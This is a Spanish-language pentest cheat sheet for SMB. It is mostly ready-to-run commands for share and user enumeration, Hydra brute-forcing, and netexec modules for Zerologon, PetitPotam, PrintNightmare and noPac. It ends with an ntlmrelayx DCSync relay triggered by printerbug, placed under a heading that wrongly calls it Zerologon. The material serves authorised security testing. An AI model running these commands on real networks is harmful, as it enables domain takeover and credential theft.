SMB - 135, 445 /tcp

Puerto/s

135

445

Protocolo/s

TCP

Vulnerabilidades comunes

  • Versiones de SMB desactualizadas (SMB v1/v2) con exploits conocidos.

  • Configuración insegura de permisos en carpetas compartidas.

  • Acceso con sesiones nulas (anonymous).

  • Credenciales por defecto o débiles.

  • Versiones de software con vulnerabilidades conocidas.

Checklist de vulnerabilidades

Vulnerabilidad
Descripción
Detalles

Firma SMB deshabilitada

La firma SMB no está habilitada, lo que permite ataques de Man-in-the-Middle (MITM).

SMBv1 habilitado

Uso de una versión obsoleta e insegura del protocolo SMB (SMBv1).

Sesiones nulas habilitadas

Permite conexiones anónimas (sin credenciales).

Credenciales por defecto o débiles

Cuentas sin contraseña o con contraseñas débiles.

Pendiente

Shares con permisos de escritura

Recursos compartidos con permisos de escritura para usuarios no autorizados.

Pendiente

Enumeración de usuarios

Permite extraer lista de usuarios a través de RPC, LSARPC, RID brute, etc.

Pendiente

CVEs

Vulnerabilidades públicas conocidas (Zerologon, Petitpotam, ...)

Enumeración

Identificación de hosts

Enumerar una red en busca de hosts:

NET='192.168.1.0/24'
nbtscan -r $NET

# Para una lista de IPs
for ip in $(cat ); do nbtscan -r $ip; done

Para enumerar los sistemas que cuenta con el servicio SMB:

  • Netexec:

netexec smb <red/IP/lista de servidores>
netexec smb 10.10.10.100
netexec smb 192.168.1.0/24
netexec smb 

Si se quiere realizar un escáner de una lista de subredes objetivo:

SCOPE_FILE='~/Pentest/scope/networks.txt'
for i in $(cat $SCOPE_FILE); do NET_FMTED="${i//\//-}" ; netexec smb $i --log "outputs/smb/netexec_$NET_FMTED_$(date +%Y%m%d).log" ; done
  • Nmap:

NET='192.168.1.0/24'
NET_FMTED="${NET//\//-}"
nbtscan -r $NET
nmap -p 139,445 --script 'smb-*' -oA nmap/"$NET_FMTED" $NET

Identificación de sistema operativo

git clone https://github.com/nopfor/ntlm_challenger.git

python ntlm_challenger.py 'smb://$IP'

Identificación de versión SMB

msfconsole
use auxiliary/scanner/smb/smb_version
set RHOSTS file:/home/kali/

Identificación de carpetas compartidas

Sin autenticación

NET='192.168.1.0/24'
netexec smb $NET -u '' -p '' --shares --log "netexec_shares_nullsession_$(date +%Y%m%d).log"
IP='192.168.1.100'
smbmap -H $IP

# Para una lista de IPs
for ip in $(cat ); do smbmap -H $ip; done
IP='192.168.1.100'
smbclient -L //$IP -N

for ip in $(cat ); do smbclient -L //$ip -N; done
IP='192.168.1.100'
enum4linux-ng -A $IP
enum4linux -a $IP
IP='192.168.1.100'
USER='Administrator'
PASS='password123'
enum4linux -a -u $USER -p $PASS $IP

Con autenticación

NET='192.168.1.0/24'
USER='Administrator'
PASS='password123'
DC='dc.xtormincorp.local'
netexec smb $NET -u $USER -p $PASS -d $DC --shares
IP='192.168.1.100'
USER='Administrator'
PASS='password123'
netexec smb $IP -u $USER -H $HASH

Módulos de Netexec

Siendo, por ejemplo, xtormincorp el nombre del dominio y xtormin el usuario:

USER='xtormincorp\xtormin'
PASS='password123'

netexec smb scope.txt -u $USER -p $PASS -M coerce_plus --log "netexec_coerceplus_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M petitpotam --log "netexec_petitpotam_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M zerologon --log "netexec_zerologon_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M printnightmare --log "netexec_printnightmare_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M smbghost --log "netexec_smbghost_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M nopac --log "netexec_nopac_$(date +%Y%m%d).log"

Enumeración de discos

USER='Administrator'
PASS='password123'
IP='192.168.1.100'
netexec smb $IP -u $USER -p $PASS --disks

Enumeración de usuarios

USER='Administrator'
PASS='password123'
IP='192.168.1.100'

# Usuarios locales
netexec smb $IP -u $USER -p $PASS --loggedon-users --log "netexec_loggedonusers_$(date +%Y%m%d).log"

# Usuarios del dominio
netexec smb $IP -u $USER -p $PASS --users --log "netexec_users_$(date +%Y%m%d).log"

# Vía RID Cycling
netexec smb $IP -u $USER -p $PASS --rid-brute --log "netexec_ridbrute_$(date +%Y%m%d).log"

Enumeración de grupos

USER='Administrator'
PASS='password123'
IP='192.168.1.100'

# Grupos locales
netexec smb $IP -u $USER -p $PASS --local-groups --log "netexec_localgroups_$(date +%Y%m%d).log"

# Grupos del dominio
netexec smb $IP -u $USER -p $PASS --groups --log "netexec_groups_$(date +%Y%m%d).log"

Acceso a recursos

USER='Administrator'
PASS='password123'
IP='192.168.1.100'

smbmap -u $USER -p $PASS -H $IP
smbmap -u $USER -p $PASS -H $IP -R --exclude SYSVOL,IPC$
smbmap -u $USER -p $PASS -H $IP --download users$/user/azure.xml
USER='Administrator'
PASS='password123'
IP='192.168.1.100'

netexec smb $IP -u $USER -p $PASS -M spider_plus --log "netexec_shares_spider_$(date +%Y%m%d).log"

netexec smb $IP -u $USER -p $PASS -M spider_plus -o READ_ONLY=False --log "netexec_shares_spider_noreadonly_$(date +%Y%m%d).log"

Fuerza bruta

Hydra

USER_FILE=user.txt
PASS_FILE=pass.txt
IP='192.168.1.101'
hydra -L $USER_FILE -P $PASS_FILE $IP smb

Vulnerabilidades

Firma SMB deshabilitada

IP='10.10.10.100'
LOG="netexec_smbsigning_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "Signing: False"

SMBv1 habilitado

IP='10.10.10.100'
LOG="netexec_smbversion_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "SMBv1: True"

Sesiones nulas habilitadas

IP='10.10.10.100'
netexec smb $IP -u '' -p '' --log "netexec_nullsessions_$(date +%Y%m%d).log"

CVEs

Zerologon

Identificar si el DC ejecuta el servicio PrintSpooler:

rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"

Se ejecuta lo siguiente en una consola:

ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support

Se ejecuta lo siguiente en otra consola a la vez que el comando anterior:

python3 printerbug.py 'LAB.LOCAL'/joe:[email protected] 10.10.10.12

Referencias

Última actualización

¿Te fue útil?